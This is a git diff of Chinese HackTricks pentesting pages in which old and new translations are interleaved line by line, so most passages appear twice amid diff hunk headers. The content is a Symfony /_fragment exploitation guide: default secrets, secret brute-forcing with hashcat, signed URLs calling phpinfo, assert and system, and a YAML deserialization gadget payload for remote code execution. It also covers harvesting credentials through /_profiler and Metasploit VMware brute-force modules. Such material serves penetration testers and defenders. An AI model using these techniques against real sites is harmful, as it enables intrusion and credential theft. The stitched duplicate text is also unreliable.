![3](https://www.ambionics.io/images/symfony-secret-fragment/3.png)
在后续版本4+)中,密钥会安全生成。
在后续版本4+)中,密钥会安全生成。
#### ezPlatform 3.x最新版):`ff6dc61a329dc96652bb092ec58981f7` <a href="#ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7" id="ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7"></a>
#### ezPlatform 3.x最新: `ff6dc61a329dc96652bb092ec58981f7` <a href="#ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7" id="ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7"></a>
[ezPlatform](https://ezplatform.com)[ezPublish](https://en.wikipedia.org/wiki/EZ\_Publish)的继任者仍然使用Symfony。在2019年6月10日[提交](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59)将默认密钥设置为`ff6dc61a329dc96652bb092ec58981f7`。受影响的版本范围从3.0-alpha1到3.1.1(当前版本)。
[ezPlatform](https://ezplatform.com)[ezPublish](https://en.wikipedia.org/wiki/EZ\_Publish)的继任者仍然使用Symfony。在2019年6月10日[提交](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59)将默认密钥设置为`ff6dc61a329dc96652bb092ec58981f7`。易受攻击的版本范围从3.0-alpha1到3.1.1(当前)。
尽管[文档](https://doc.ezplatform.com/en/latest/getting\_started/install\_ez\_platform/#change-installation-parameters)指出应该更改密钥,但并没有强制执行
尽管[文档](https://doc.ezplatform.com/en/latest/getting\_started/install\_ez\_platform/#change-installation-parameters)指出应该更改密钥,但这并不是强制性的
#### ezPlatform 2.x`ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` <a href="#ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit" id="ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit"></a>
#### ezPlatform 2.x: `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` <a href="#ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit" id="ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit"></a>
与Symfony的骨架类似在安装过程中会提示您输入一个密钥。默认值为`ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`。
像Symfony的骨架一样在安装过程中系统会提示您输入一个密钥。默认值是`ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`。
#### Bolt CMS <= 3.7(最新版):`md5(__DIR__)` <a href="#bolt-cms-37-latest-md5__dir__" id="bolt-cms-37-latest-md5__dir__"></a>
#### Bolt CMS <= 3.7(最新: `md5(__DIR__)` <a href="#bolt-cms-37-latest-md5__dir__" id="bolt-cms-37-latest-md5__dir__"></a>
[Bolt CMS](https://bolt.cm)使用[Silex](https://github.com/silexphp/Silex)这是一个基于Symfony的已弃用的微框架。它使用以下计算设置密钥:
[Bolt CMS](https://bolt.cm)使用了基于Symfony的已弃用微框架[Silex](https://github.com/silexphp/Silex)。它使用以下计算设置密钥:
```php
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);
@ -329,38 +328,38 @@ $app['uri_signer.secret'] = md5(__DIR__);
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);
```
因此,可以猜测秘密,或使用完整路径泄露漏洞来计算它。
因此,人们可以猜测密钥,或者利用完整路径泄露漏洞来计算它。
如果使用默认的秘密密钥没有成功,不要绝望:还有其他方法。
如果您没有使用默认密钥成功,不要失望:还有其他方法。
### 暴力破解 <a href="#bruteforce" id="bruteforce"></a>
由于密通常是手动设置的(而不是随机生成的),人们通常会使用密码短语而不是安全的随机值,这使得我们可以使用哈希来进行暴力破解。显然,一个有效的`/_fragment` URL例如Symfony生成的URL将为我们提供一个有效的消息-哈希对,以便我们可以对秘密进行暴力破解
由于密通常是手动设置的(而不是随机生成的),人们通常会使用口令短语而不是安全的随机值,这使得如果我们有哈希来对其进行暴力破解,它就可以被暴力破解。显然,一个有效的 `/_fragment` URL例如由Symfony生成的将为我们提供一个有效的消息-哈希元组来暴力破解密钥
_响应中包含了一个有效的fragment请求_
_有效的片段请求包含在响应中_
![4](https://www.ambionics.io/images/symfony-secret-fragment/4.png)
本文的开头我们说Symfony的秘密有几个用途。其中之一就是用于生成CSRF令牌。`secret`的另一个用途是用于签名记住我remember-mecookie。在某些情况下攻击者可以使用自己的CSRF令牌或记住我cookie来暴力破解`secret`的值。
这篇博客文章的开头我们说过Symfony的密钥有几个用途。其中一个用途是它也用于生成CSRF令牌。`secret`的另一个用途是签署记住我cookie。在某些情况下攻击者可以使用自己的CSRF令牌或记住我cookie来暴力破解`secret`的值。
_构造这些令牌的逆向工程留给读者作为练习。_
_对这些令牌的构造进行逆向工程的工作留给读者作为练习。_
### 更进一步eZPublish <a href="#going-further-ezpublish" id="going-further-ezpublish"></a>
为了演示如何通过暴力破解秘密来实现代码执行我们将看看如何找出eZPublish 2014.07的秘密
作为一个例子说明如何通过暴力破解密钥来实现代码执行我们将看到如何找出eZPublish 2014.07的密钥
#### 寻找暴力破解材料 <a href="#finding-bruteforce-material" id="finding-bruteforce-material"></a>
eZPublish生成其CSRF令牌的方式如下
eZPublish这样生成它的CSRF令牌
```php
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
```
要构建这个令牌eZP使用了我们知道的两个值和秘密`getIntention()`是用户尝试的操作(例如`authenticate``session_id()`是PHP会话ID而`getSecret()`则是Symfony的`secret`
为了构建这个令牌eZP 使用了我们已知的两个值和一个秘密:`getIntention()` 是用户尝试的操作(例如 `authenticate``session_id()` 是 PHP 会话 ID`getSecret()`,嗯,就是 Symfony 的 `secret`
由于CSRF令牌可以在某些表单中找到我们现在有了破解秘密的材料。
由于 CSRF 令牌可以在一些表单上找到,我们现在有了暴力破解秘密的材料。
不幸的是ezPublish集成了来自sensiolabs的一个bundle[sensio/distribution-bundle](https://packagist.org/packages/sensio/distribution-bundle)。该软件包确保秘密密钥是随机的。它在安装时生成如下
不幸的是ezPublish 集成了来自 sensiolabs 的一个包,[sensio/distribution-bundle](https://packagist.org/packages/sensio/distribution-bundle)。这个包确保秘密密钥是随机的。它在安装时这样生成它
```php
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
@ -369,7 +368,7 @@ private function generateRandomSecret()
return hash('sha1', uniqid(mt_rand()));
}
```
个看起来很难暴力破解:`mt_rand()`可以产生231个不同的值而`uniqid()`是由当前时间戳(带有微秒)构建的
看起来很难进行暴力破解:`mt_rand()` 可以产生 2^31 个不同的值,而 `uniqid()` 是基于当前时间戳构建的(包括微秒)
```php
// Simplified uniqid code
@ -377,104 +376,106 @@ struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
```
#### 揭示时间戳 <a href="#disclosing-the-timestamp" id="disclosing-the-timestamp"></a>
#### 泄露时间戳 <a href="#disclosing-the-timestamp" id="disclosing-the-timestamp"></a>
幸运的是,我们知道这个秘密是在安装的最后一步生成的,在网站设置完成后立即生成。这意味着我们可能会泄露用于生成此哈希的时间戳。
幸运的是,我们知道这个秘密是在安装的最后一步生成的,就在网站设置完成之后。这意味着我们可能可以泄露用于生成这个哈希的时间戳。
一种方法是使用日志(例如`/var/log/storage.log`);可以泄露缓存条目创建第一次时间。缓存条目在调用`generateRandomSecret()`之后立即创建。
一种方法是使用日志(例如 `/var/log/storage.log`);可以泄露第一次创建缓存条目的时间。缓存条目在调用 `generateRandomSecret()` 之后立即创建
_示例日志内容时间戳与计算密钥时使用的时间戳类似_
_示例日志内容时间戳与用于计算密的时间戳类似_
![5](https://www.ambionics.io/images/symfony-secret-fragment/5.png)
如果日志不可用可以使用eZPublish的强大搜索引擎来查找网站的第一个元素的创建时间。实际上当网站创建时会将许多时间戳放入数据库中。这意味着eZPublish网站的初始数据的时间戳与用于计算`uniqid()`的时间戳相同。我们可以搜索`landing_page` _ContentObject_并找出其时间戳。
如果没有日志可用,可以使用 eZPublish 的非常强大的搜索引擎来找到网站最初元素的创建时间。实际上,当网站创建时,数据库中会插入许多时间戳。这意味着 eZPublish 网站初始数据的时间戳与用于计算 `uniqid()` 的时间戳相同。我们可以查找 `landing_page` _ContentObject_ 并找出其时间戳。
## 暴力破解缺失的部分 <a href="#bruteforcing-the-missing-bits" id="bruteforcing-the-missing-bits"></a>
## 暴力破解缺失的 <a href="#bruteforcing-the-missing-bits" id="bruteforcing-the-missing-bits"></a>
我们现在知道用于计算密的时间戳,以及以下形式的哈希
我们现在知道用于计算密的时间戳,以及以下形式的哈希:
```php
$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '<intention><sessionID>';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
```
样我们就有了总共231 * 106种可能性。使用[hashcat](https://hashcat.net)和一组强大的GPU这个任务是可行的但是hashcat没有提供`sha1(sha1($pass).$salt)`的内核。幸运的是,我们已经实现了!你可以在[这里找到拉取请求](https://github.com/hashcat/hashcat/pull/2536)。
使我们总共有 231 \* 106 种可能性。使用 [hashcat](https://hashcat.net) 和一组好的 GPU这似乎是可行的但 hashcat 并没有提供 `sha1(sha1($pass).$salt)` 内核。幸运的是,我们实现了它!您可以在[这里找到拉取请求](https://github.com/hashcat/hashcat/pull/2536)。
使用我们的破解机器拥有8个GPU我们可以在不到20小时内破解这个哈希。
使用我们拥有 8 个 GPU 的破解机器,我们可以在 _20 小时内_ 破解这个哈希。
获取哈希后,我们可以使用`/_fragment`来执行代码。
获取哈希后,我们可以使用 `/_fragment` 来执行代码。
## 结论 <a href="#conclusion" id="conclusion"></a>
Symfony现在是许多PHP应用程序的核心组件。因此任何影响该框架的安全风险都会影响到许多网站。正如本文所示,无论是弱密钥还是较不重要的漏洞,都允许攻击者获得**远程代码执行**的权限
Symfony 现在是许多 PHP 应用程序的核心组件。因此,任何影响框架的安全风险都会影响大量网站。正如本文所示,无论是弱秘密还是影响较小的漏洞,都允许攻击者获得**远程代码执行**。
作为蓝队成员您应该检查每个依赖Symfony的网站。最新的软件也不能排除存在漏洞的可能性因为密钥是在产品首次安装时生成的。因此如果您几年前创建了一个基于Symfony-3.x的网站并在此过程中保持了更新那么默认密钥可能仍然有效
作为一个蓝队成员,你应该查看你所有依赖 Symfony 的网站。即使是最新的软件也不能排除漏洞,因为秘密密钥是在产品首次安装时生成的。因此,如果你几年前创建了一个基于 Symfony-3.x 的网站,并一直保持更新,那么很可能秘密密钥仍然是默认的
## 攻击 <a href="#exploitation" id="exploitation"></a>
## 利用 <a href="#exploitation" id="exploitation"></a>
### 理论 <a href="#theory" id="theory"></a>
首先,我们在利用此漏洞时需要关注以下几点
首先,在利用这个漏洞时,我们有几件事需要担心
* HMAC是使用**完整的URL**计算的。如果网站位于反向代理后面我们需要使用服务的内部URL而不是我们发送有效载荷的URL。例如内部URL可能是HTTP而不是HTTPS。
* HMAC的算法随着时间的推移而改变:之前是**SHA-1**,现在是**SHA-256**
* 由于Symfony会从请求中删除`_hash`参数然后再次生成URL我们需要在与其相同的URL上计算哈希。
* 可以使用许多密钥,因此我们需要检查它们全部
* 在某些PHP版本中我们无法调用具有“按引用”参数的函数,例如`system($command, &$return_value)`。
* 在某些Symfony版本中`_controller`不能是一个函数它必须是一个方法。我们需要找到一个允许我们执行代码的Symfony方法。
* HMAC 使用**完整的 URL**计算。如果网站位于反向代理之后,我们需要使用服务的内部 URL 而不是我们发送有效载荷的 URL。例如内部 URL 可能是 HTTP 而不是 HTTPS。
* HMAC 的算法多年来发生了变化:之前是 **SHA-1**,现在是 **SHA-256**
* 由于 Symfony 从请求中删除了 `_hash` 参数,然后再次生成 URL我们需要在它所做的相同 URL 上计算哈希。
* 可以使用许多秘密,所以我们需要检查它们所有
* 在某些 PHP 版本上,我们不能调用具有“按引用”参数的函数,例如 `system($command, &$return_value)`
* 在某些 Symfony 版本上,`_controller` 不能是一个函数,它必须是一个方法。我们需要找到一个允许我们执行代码的 Symfony 方法。
另一方面,我们可以利用以下几点
另一方面,我们可以利用一些事情
* 在没有参数或具有无效哈希的情况下访问`/_fragment`应返回`403`
* 在具有有效哈希但没有有效控制器的情况下访问`/_fragment`应返回`500`
* 使用无参数或无效哈希访问 `/_fragment` 应返回 `403`
* 使用有效哈希但没有有效控制器访问 `/_fragment` 应产生 `500`
最后一点允许我们测试密钥值,而不必担心之后要调用哪个函数或方法
最后一点允许我们在不担心之后要调用哪个函数或方法的情况下测试秘密值
### 实践 <a href="#practice" id="practice"></a>
假设我们正在攻击`https://target.com/_fragment`。为了能够正确签名URL我们需要了解以下信息
假设我们正在攻击 `https://target.com/_fragment`。为了能够正确签名一个 URL我们需要知道
* 内部URL可能是`https://target.com/_fragment`,也可能是`http://target.com/_fragment`,或者完全不同的内容(例如`http://target.website.internal`),我们无法猜测
* 密钥:我们有一组常用的密钥,例如`ThisTokenIsNotSoSecretChangeIt``ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`等。
* 内部 URL它可能是 `https://target.com/_fragment`,或者可能是 `http://target.com/_fragment`,或者可能是完全不同的东西(例如 `http://target.website.internal`),我们无法猜测
* 秘密密钥:我们有一个常用秘密密钥列表,例如 `ThisTokenIsNotSoSecretChangeIt``ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` 等。
* 算法SHA1 或 SHA256
我们现在不需要担心有效载荷(`_path`的内容因为正确签名的URL不会导致抛出`AccessDeniedHttpException`,因此也不会导致`403`。因此该攻击将尝试每个算法、URL、密钥组合生成一个URL并检查是否不返回`403`状态码。
我们还不需要担心有效载荷(`_path` 的内容),因为正确签名的 URL 不会导致抛出 `AccessDeniedHttpException`,因此不会导致 `403`。因此漏洞利用将尝试每个算法URL秘密组合生成一个 URL并检查它是否不产生 `403` 状态码。
_没有`_path`参数的有效请求到`/_fragment`_
_没有 `_path` 参数向 `/_fragment` 发出的有效请求_
![6](https://www.ambionics.io/images/symfony-secret-fragment/6.png)
此时,我们可以签名任何`/_fragment` URL这意味着它是一个保证的RCE。只是要调用什么函数的问题。
此时,我们可以签名任何 `/_fragment` URL这意味着它是一个保证的 RCE。只是一个关于要调用什么的问题。
然后,我们需要找出是否可以直接调用函数,还是需要使用类方法。我们可以首先尝试最简单直接的方式,使用诸如`phpinfo ([ int $what = INFO_ALL ] )`[文档](https://www.php.net/manual/en/function.phpinfo.php))这样的函数。`_path` GET参数将如下所示
然后,我们需要找出我们是否可以直接调用函数,或者我们需要使用类方法。我们可以首先尝试最直接的方法,使用像 `phpinfo ([ int $what = INFO_ALL ] )` 这样的函数([文档](https://www.php.net/manual/en/function.phpinfo.php))。`_path` GET 参数看起来会是这样
```
_controller=phpinfo
&what=-1
```
URL将如下所示
URL将如下所示
`http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...`
如果HTTP响应显示了`phpinfo()`页面,我们就成功了。然后我们可以尝试使用另一个函数,比如`assert`
如果HTTP响应显示了一个`phpinfo()`页面,我们就成功了。然后我们可以尝试使用另一个函数,比如`assert`
_使用`_controller=assert`的示例输出_
![7](https://www.ambionics.io/images/symfony-secret-fragment/7.png)
否则,这意味着我们需要使用一个类方法。一个很好的选择是`Symfony\Component\Yaml\Inline::parse`它是一个内置的Symfony类因此在Symfony网站上是存在的
否则,这意味着我们需要使用类方法。一个好的候选是`Symfony\Component\Yaml\Inline::parse`这是一个内置的Symfony类因此它存在于Symfony网站上
显然这个方法解析一个YAML输入字符串。Symfony的[YAML](https://yaml.org)解析器支持`php/object`标签,它将把一个序列化的输入字符串转换为一个对象,使用`unserialize()`函数。这让我们可以使用我们喜欢的PHP工具[PHPGGC](https://github.com/ambionics/phpggc)
显然这个方法解析一个YAML输入字符串。Symfony的[YAML](https://yaml.org)解析器支持`php/object`标签,它会使用`unserialize()`将序列化的输入字符串转换成对象。这让我们可以使用我们最喜欢的PHP工具[PHPGGC](https://github.com/ambionics/phpggc)
这个方法的原型在多年间发生了变化。例如,这里有三个不同的原型:
这个方法的原型随着时间的推移而改变。例如,这里有三个不同的原型:
```
public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
```
相比于为每个参数构建`_path`,我们可以利用这样一个事实:如果我们提供的参数名称与方法原型不匹配,它将被忽略。因此,我们可以将所有可能的参数添加到方法中,而不必担心实际的原型。
```markdown
而不是为这些每一个构建 `_path`,我们可以利用这样一个事实:如果我们提供一个与方法原型不匹配的参数名称,它将被忽略。因此,我们可以向方法中添加每一个可能的参数,而不用担心实际的原型。
因此,我们可以这样构建 `_path`
```
```
_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
@ -484,35 +485,35 @@ _controller=Symfony\Component\Yaml\Inline::parse
&references=
&flags=516
```
再次,我们可以尝试使用`phpinfo()`,看看是否有效。如果有效,我们可以改用`system()`。
我们可以尝试使用`phpinfo()`,看看是否有效。如果有效,我们可以改用`system()`。
_使用序列化负载的`Inline::parse`的示例输出_
_使用`Inline::parse`和序列化有效载荷的示例输出_
![8](https://www.ambionics.io/images/symfony-secret-fragment/8.png)
因此,利用程序将遍历每种可能的变量组合,然后尝试两种利用方法。代码可在[我们的GitHub](https://github.com/ambionics/symfony-exploits)上找到
因此,漏洞利用将遍历每种可能的变量组合,然后尝试两种利用方法。代码可在[我们的GitHub](https://github.com/ambionics/symfony-exploits)上获取
## 访问symfony /\_profiler信息
![f:id:flattsecurity:20201021204553p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204553.png)
如上面的屏幕截图所示,页面右下角有一个`sf`标志。当Symfony处于调试模式下时,会显示此标志。有些情况下,此标志可能不会显示,因此尝试访问`/_profiler`,您将看到如下所示的页面。
如上图所示,页面右下角有一个`sf`标志。当Symfony处于调试模式时会显示这个标志。有些情况下这个标志可能不会显示,所以尝试访问`/_profiler`,你将看到下面显示的页面
![f:id:flattsecurity:20201021204605p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204605.png)
此功能称为Symfony Profiler在互联网上关于此功能的信息不多。此功能的意图非常明确在出现错误或漏洞时它可以帮助您进行调试。当然只有在启用调试模式时才能使用此功能
这个功能称为Symfony Profiler互联网上关于这个功能的信息不多。这个功能的目的非常明确它在出现错误或bug时帮助你调试。当然这个功能只能在启用调试模式时使用
Symfony框架本身非常安全但启用调试模式将使该框架极易受攻击。例如Profiler具有一个名为Profile Search的功能如下面的屏幕截图所示。
Symfony框架本身非常安全但启用调试模式会使这个框架变得极其脆弱。例如Profiler有一个叫做Profile Search的功能如下图所示。
![f:id:flattsecurity:20201021204624p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204624.png)
如上面的屏幕截图所示您可以访问发送到服务器的所有请求。通过点击令牌中的哈希值您将看到可以读取所有POST参数如下面的屏幕截图所示。利用此功能我们可以劫持管理员和用户的帐户凭据
如上图所示你可以访问发送到服务器的所有请求。通过点击令牌中的哈希值你会看到所有POST参数都可以被读取如下图所示。利用这个功能我们可以劫持管理员和用户的账户凭证
![f:id:flattsecurity:20201021204637p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204637.png)
### 其他启用调试的端点
您还应检查以下URL
你还应该检查这些URL
* **https://example.com/app\_dev.php/\_profiler**
* **https://example.com/app\_dev.php**\\
@ -525,16 +526,14 @@ Symfony框架本身非常安全但启用调试模式将使该框架极易受
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果你想在**HackTricks**上看到你的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧**。
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -22,41 +20,21 @@ msf> use auxiliary/scanner/vmware/esx_fingerprint
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```
# 暴力破解
Bruteforce is a common technique used in penetration testing to gain unauthorized access to a target system by systematically trying all possible combinations of usernames and passwords until a successful login is achieved.
暴力破解是一种常见的渗透测试技术,通过系统地尝试所有可能的用户名和密码组合,直到成功登录目标系统为止,以获取未经授权的访问权限。
This technique is often used when there is no other known vulnerability or weakness in the system that can be exploited. It relies on the assumption that the correct username and password combination exists within the set of all possible combinations.
当系统中没有其他已知的漏洞或弱点可供利用时,通常会使用这种技术。它依赖于这样一个假设,即正确的用户名和密码组合存在于所有可能的组合集合中。
Bruteforce attacks can be time-consuming and resource-intensive, especially if the target system has implemented security measures such as account lockouts or rate limiting. However, with the help of powerful hardware and specialized software, attackers can significantly speed up the process.
暴力破解攻击可能会耗费大量时间和资源,特别是当目标系统实施了诸如账户锁定或速率限制等安全措施时。然而,借助强大的硬件和专门的软件,攻击者可以显著加快这个过程。
To mitigate the risk of a successful bruteforce attack, it is important to enforce strong password policies, implement account lockouts after a certain number of failed login attempts, and monitor for any suspicious activity.
为了降低成功暴力破解攻击的风险,重要的是执行强密码策略,在一定数量的登录尝试失败后实施账户锁定,并监控任何可疑活动。
```text
msf> auxiliary/scanner/vmware/vmware_http_login
```
如果您找到有效的凭据可以使用更多的Metasploit扫描模块来获取信息。
如果您找到有效的凭证您可以使用更多的metasploit扫描模块来获取信息。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -2,38 +2,37 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
